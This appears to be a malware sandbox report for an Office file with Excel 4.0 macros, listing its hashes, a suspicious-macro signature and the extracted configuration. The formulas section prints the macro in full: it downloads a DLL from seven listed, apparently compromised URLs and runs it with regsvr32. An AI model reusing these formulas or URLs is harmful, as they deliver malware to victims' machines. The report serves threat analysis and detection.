General
-
Target
e15f4168321dd5fc8736ef9191bcf3a35a82a54fd5817c88a8cf5345b8f25dc6
-
Size
32KB
-
MD5
3ac1d24a6f4193ffd96b6165d15664ca
-
SHA1
3eb38b15dd4020a1d1b160c1f81e0354a44e13e2
-
SHA256
e15f4168321dd5fc8736ef9191bcf3a35a82a54fd5817c88a8cf5345b8f25dc6
-
SHA512
e04c634290590351cf3b18e2b52d5d67df1d4ab5d2903acccd6aa8f2b6faa387f8ccc08219a920c61870170e98e6daa365bbb63225079b89751db459f8329591
-
SSDEEP
768:wjf8WFhN7beEizXT2LxdFfPdkqstJVE6D:KEsTXrgXUndkq8E6D
Malware Config
Extracted
https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/
https://alejandrastamateas.com/web/ZxA3zHwsH3r/
https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/
http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/
http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/
https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/
https://al-brik.com/vb-w/U/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alejandrastamateas.com/web/ZxA3zHwsH3r/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://al-brik.com/vb-w/U/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
e15f4168321dd5fc8736ef9191bcf3a35a82a54fd5817c88a8cf5345b8f25dc6